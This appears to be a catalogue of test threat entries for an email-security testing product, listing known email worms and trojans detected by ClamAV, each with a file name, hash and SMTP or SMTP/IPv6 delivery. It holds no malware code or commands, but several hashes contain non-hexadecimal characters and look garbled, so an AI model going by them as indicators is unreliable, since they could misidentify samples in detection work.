Detailed Description:	This is the email virus Worm.Tossed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b789e63163d1395b7a04529adbf6a96. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.BWG.e.e.04e84f95_IPv6.xml
Executive Description:	Email Virus (IPv6 Version)
Detailed Description:	This is the email virus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.BWG.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.H.543c358d_IPv6.xml
Executive Description:	Email Virus Worm.Klez.H (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 543c358d51a949d6584f568bc3ac465b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Razor.a.a.48860712.xml
Executive Description:	Email Virus Email-Worm.VBS.Razor.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Razor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Razor.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.6ea5131e_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ea5131e2e9f71d92b0362817bf93781. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.B.adl47327.xml
Executive Description:	Email Virus Worm.Totilix.B
Detailed Description:	This is the email virus Worm.Totilix.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adl473275ac9414b18f59754208107a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Nemit.b.b.6clef977_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Nemit.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Nemit.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Nemit.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.L.7951d724.xml
Executive Description:	Email Virus Worm.Lee.L
Detailed Description:	This is the email virus Worm.Lee.L as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7951d7246472fa9f9ae236a29b81522f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lee.C.e2258b28_IPv6.xml
Executive Description:	Email Virus Worm.Lee.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2258b286f63d0acf39bb06a4fb44815. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.b.b.b311f402_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Q.04871d17.xml
Executive Description:	Email Virus Worm.SomeFool.Q
Detailed Description:	This is the email virus Worm.SomeFool.Q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 04871d17dbbd1911afc76aad6d9dbd20. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Zircon.e.e.30c5e0b4.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-34.8561d3f2.xml
Executive Description:	Email Virus Trojan.Killav-34
Detailed Description:	This is the email virus Trojan.Killav-34 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8561d3f2c7c7d156f93965c9984cd919. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.i.i.58c6c324_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.B6.ade4acfb_IPv6.xml
Executive Description:	Email Virus W32.Magistr.B6 (IPv6 Version)
Detailed Description:	This is the email virus W32.Magistr.B6 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ade4acfb6cale7737f6167f104d4986a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.c.bc74b5f2_IPv6.xml
Executive Description:	Email Virus Worm.Jerm.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Jerm.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc74b5f218ae107463a128e292b56032. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.fddd2c80_IPv6.xml
Executive Description:	Email Virus WScr.Unsafe.D (IPv6 Version)
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fddd2c80b880ea0148b50be9007c4ed9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Par.a4609cb8_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Par (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Par as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4609cb8ld8e69026f0aa3a2e83ff370. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Unicle.B.3e34f872_IPv6.xml
Executive Description:	Email Virus Worm.Unicle.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Unicle.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e34f8723c3bfad9923c61cbff44d52b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.f2db87b3_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f2db87b351770e5995e9fcaad47d9591. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Trilisa.de3a28ef_IPv6.xml
Executive Description:	Email Virus W32.Trilisa (IPv6 Version)
Detailed Description:	This is the email virus W32.Trilisa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de3a28ef920c9Fa4d6df342b17b389db. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Urbe.a.c3891f3d.xml
Executive Description:	Email Virus Worm.Urbe.a
Detailed Description:	This is the email virus Worm.Urbe.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3891f3d28a0a46fa6abee6d5ada947. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	W32.Hybris.C.ab4ac052.xml
Executive Description:	Email Virus W32.Hybris.C
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4ac05206c649048c74da60ffaecc89. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.f98ebfc2.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f98ebfc238698fa3fe70a62731c267d6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Antites.cdl5440a_IPv6.xml
Executive Description:	Email Virus Worm.Antites (IPv6 Version)
Detailed Description:	This is the email virus Worm.Antites as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cdl5440a7c4a6668349e3fe6232a956a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Par.a4609cb8.xml
Executive Description:	Email Virus Worm.VBS.Par
Detailed Description:	This is the email virus Worm.VBS.Par as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4609cb81d8e69026f0aa3a2e83ff370. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Largepile.fb31972b_IPv6.xml
Executive Description:	Email Virus Worm.Largepile (IPv6 Version)
Detailed Description:	This is the email virus Worm.Largepile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb31972bb1bbf4254481606cf82dd535. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.B.1d4d25a1.xml
Executive Description:	Email Virus Worm.Luna.B
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d4d25alcfffee604e50d6880ea87307d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noon.B.6b461fc5_IPv6.xml
Executive Description:	Email Virus Worm.Noon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Noon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6b461fc5b0a4bf7d767cf06eedf2d4bd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.86e97dd2_IPv6.xml
Executive Description:	Email Virus Worm.Maldal.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86e97dd2a19e369c5f601a8952762637. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.d02de7ae_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d02de7ae9bd7c03da86a38a48a85bcfa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Kivi.kiv.b84e6f52.xml
Executive Description:	Email Virus Email-Worm.VBS.Kivi.kiv
Detailed Description:	This is the email virus Email-Worm.VBS.Kivi.kiv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Kivi.kiv. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zoek.dll.dll.3c584e88_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zoek.dll.dll (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zoek.dll.dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zoek.dll.dll. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.NHKR.a.fc9d1bel.xml
Executive Description:	Email Virus Worm.NHKR.a
Detailed Description:	This is the email virus Worm.NHKR.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc9d1bel19de9edd8569e6fa9f452b521. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Guorm.46042fdd.xml
Executive Description:	Email Virus Worm.Guorm
Detailed Description:	This is the email virus Worm.Guorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46042fdd55791a0b61e991c730db8d39. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.BWG.C.3d3b062a.xml
Executive Description:	Email Virus VBS.BWG.C
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d3b062a999e5355e0ca86d89a933b3f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SLight.fl90278.xml
Executive Description:	Email Virus Worm.SLight
Detailed Description:	This is the email virus Worm.SLight as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fl90278a75cf8c17ac2a43f91284bf6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Tossed.8b789e63.xml
Executive Description:	Email Virus Worm.Tossed
Detailed Description:	This is the email virus Worm.Tossed as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8b789e63163d1395b7a04529adb6a96. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Xinap.xin.22b12289_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Xinap.xin (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Xinap.xin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Xinap.xin. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LifeStages.B.b596bedf_IPv6.xml
Executive Description:	Email Virus VBS.LifeStages.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.LifeStages.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b596bedfc7c64eaf48097167710c7633. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.6dc98b4d.xml
Executive Description:	Email Virus Worm.Funny
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dc98b4d0e7d987c0dfd3f5e7ca530b1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Nothing.1fe97570_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Nothing (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Nothing as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1fe97570197438787d086f5f6a8e044d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Trilissa.h.h.fb6e7488_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Trilissa.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Trilissa.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Trilissa.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.6dbdb716_IPv6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dbdb716859b6b5a47f10571cf2eabed. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.15laf978_IPv6.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 15laf9780795eaead8bf0cd427068c0a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nihilit.J.bb2ae190_IPv6.xml
Executive Description:	Email Virus Worm.Nihilit.J (IPv6 Version)
Detailed Description:	This is the email virus Worm.Nihilit.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb2ae1906ab1170d1057e80ebcb0ddcd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.160a2c19.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 160a2c19abcf721dc24dd23528a57595. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.09116bae_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 09116bae4b15707d4fffd27019f887469. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.PrettyPark.f7d91ea8_IPv6.xml
Executive Description:	Email Virus W32.PrettyPark (IPv6 Version)
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7d91ea83309acb300676c02e6c875cb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.San.A.2e69f2fa.xml
Executive Description:	Email Virus VBS.San.A
Detailed Description:	This is the email virus VBS.San.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e69f2faldfcf256549cca809cc4c9d6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.64043.640.7268bf4d.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.64043.640
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.64043.640 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.64043.640. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	BAT.HelOOOn.A.8829ab0a.xml
Executive Description:	Email Virus BAT.HelOOOn.A
Detailed Description:	This is the email virus BAT.HelOOOn.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8829ab0a6831e990a53a905799417d10. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.20650c59.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 20650c59258c9a25526ec65b91dlfba9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.q.q.a9548bb5.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.q.q
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.q.q as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.q.q. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Matcher.mat.2eb06el8.xml
Executive Description:	Email Virus Email-Worm.Win32.Matcher.mat

Detailed Description:	This is the email virus Email-Worm.Win32.Matcher.mat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Matcher.mat. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.55aac909_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55aac9091886877d5124bcf27d6bfd84. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neton.net.022d587f_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Neton.net (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Neton.net as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neton.net. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maddas.0c1dd269_IPv6.xml
Executive Description:	Email Virus Worm.Maddas (IPv6 Version)
Detailed Description:	This is the email virus Worm.Maddas as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c1dd2693ec0f5d2be79d04fd11b898e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.ItPoem.itp.c1e1beaf3.xml
Executive Description:	Email Virus Email-Worm.VBS.ItPoem.itp
Detailed Description:	This is the email virus Email-Worm.VBS.ItPoem.itp as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.ItPoem.itp. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ea4de788.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ea4de7885eb8a954ffeb3d775062c27f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Bat.Camile.b7de570b_IPv6.xml
Executive Description:	Email Virus Bat.Camile (IPv6 Version)
Detailed Description:	This is the email virus Bat.Camile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7de570bb0191d8278caf8b0770b0849. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.F.a052ff2b.xml
Executive Description:	Email Virus Worm.MyPics.F
Detailed Description:	This is the email virus Worm.MyPics.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a052ff2b9b0641b987c82bb7253eceda. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ec7c4e01_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec7c4e012fd450c94a98254b2aa89992. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.P.ba9cbc0d_IPv6.xml
Executive Description:	Email Virus Worm.Yaha.P (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yaha.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba9cbc0dee19184251aa9df5427320ce. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovelorn.2.82eee862.xml
Executive Description:	Email Virus Worm.Lovelorn.2
Detailed Description:	This is the email virus Worm.Lovelorn.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82eee862b88963aa7c0bedf7089e41a0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Dropper.C.336b1bcc_IPv6.xml

Executive Description:	Email Virus Trojan.Dropper.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Dropper.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 336b1bccca9e246e664c8674110114c2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Updater.A.a233033b.xml
Executive Description:	Email Virus Worm.Updater.A
Detailed Description:	This is the email virus Worm.Updater.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a233033bcfd2dc7aalbe4b41eb6af33b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Stration.AL-1.4988ef8f_IPv6.xml
Executive Description:	Email Virus Worm.Stration.AL-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Stration.AL-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4988ef8f16b40fc96f0bbe410df30702. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.HappyTime.166ca5f7.xml
Executive Description:	Email Virus Worm.HappyTime
Detailed Description:	This is the email virus Worm.HappyTime as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 166ca5f7fb480b5882f8bb99ebd78b8b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.ZWMVC.zwm.6cf6479f_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.ZWMVC.zwm (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.ZWMVC.zwm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.ZWMVC.zwm. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Energy.g.g.655b604b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Energy.g.g (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Energy.g.g as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Energy.g.g. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bumdoc.1.8fd4eeb1.xml
Executive Description:	Email Virus Worm.Bumdoc.1
Detailed Description:	This is the email virus Worm.Bumdoc.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fd4eeb1a78f03ccc7657f78c93029f2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.e4b9069b.xml
Executive Description:	Email Virus Worm.Hatred.b
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4b9069baf28d21bdd6cd05305008bc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.v.922f647d.xml
Executive Description:	Email Virus Worm.Alcaul.v
Detailed Description:	This is the email virus Worm.Alcaul.v as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 922f647d186d67a4c2fe754b35066fb2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.22f21bd1_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 22f21bd1e3d6e02f89b15982fc9b7310. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.c.8239dab4.xml
Executive Description:	Email Virus Worm.MyPics.c
Detailed Description:	This is the email virus Worm.MyPics.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8239dab452e3c9e4404e6a5c056ab49a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	W32.Heidi.6cc11b3f_IPv6.xml
Executive Description:	Email Virus W32.Heidi (IPv6 Version)
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6cc11b3fd8b8ca2f216e14d4dald7821. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.f7ad7737_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ad7737ed12aa320f8b0a9a9b69ae9f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
